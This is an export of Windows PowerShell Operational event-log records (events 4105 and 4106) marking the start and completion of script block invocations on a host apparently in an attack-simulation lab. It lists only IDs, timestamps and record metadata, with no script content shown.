Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024194
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024193
Keywords=None
Message=Completed invocation of ScriptBlock ID: f87972c5-50b8-4a11-a93e-ca6baa19178d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024209
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024207
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024205
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024220
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024218
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024216
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024214
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024212
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024230
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024228
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024226
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024224
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024222
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024240
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024238
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024236
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024234
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024232
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024250
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024248
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024246
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024244
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024242
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024260
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024258
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
